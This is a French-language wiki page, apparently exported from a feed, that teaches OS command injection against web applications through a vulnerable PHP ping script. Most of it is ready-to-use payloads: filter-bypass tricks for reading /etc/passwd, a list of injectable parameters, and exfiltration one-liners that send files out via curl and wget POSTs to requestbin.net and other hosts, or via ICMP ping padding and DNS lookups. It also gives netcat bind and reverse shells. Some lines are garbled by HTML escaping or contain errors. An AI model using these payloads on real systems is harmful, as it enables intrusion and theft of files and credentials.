 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
===== ${SHELLOPTS} =====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
</feed>